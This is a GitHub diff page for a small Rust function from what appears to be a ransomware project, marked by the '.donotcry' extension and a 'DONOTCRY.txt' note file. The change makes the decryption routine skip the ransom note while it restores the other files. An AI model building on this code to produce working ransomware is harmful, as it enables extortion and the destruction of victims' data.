File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -23,13 +23,15 @@ pub fn encrypt_or_decrypt(filename: &str, action: &str) -> bool {
2323 }
2424
2525 "decrypt" => {
26- let msg = format ! ( "[*] Decrypting {}" , filename) ;
27- println ! ( "{}" , msg. green( ) ) ;
26+ if !filename. contains ( "DONOTCRY.txt" ) {
27+ let msg = format ! ( "[*] Decrypting {}" , filename) ;
28+ println ! ( "{}" , msg. green( ) ) ;
2829
29- let decrypted = cipher. cbc_decrypt ( iv, & fs:: read ( filename) . unwrap ( ) ) ;
30- fs:: write ( filename, decrypted) . unwrap ( ) ;
31- let new_filename = filename. replace ( ".donotcry" , "" ) ;
32- fs:: rename ( filename, new_filename) . unwrap ( ) ;
30+ let decrypted = cipher. cbc_decrypt ( iv, & fs:: read ( filename) . unwrap ( ) ) ;
31+ fs:: write ( filename, decrypted) . unwrap ( ) ;
32+ let new_filename = filename. replace ( ".donotcry" , "" ) ;
33+ fs:: rename ( filename, new_filename) . unwrap ( ) ;
34+ }
3335 }
3436
3537 _ => {
You can’t perform that action at this time.
0 commit comments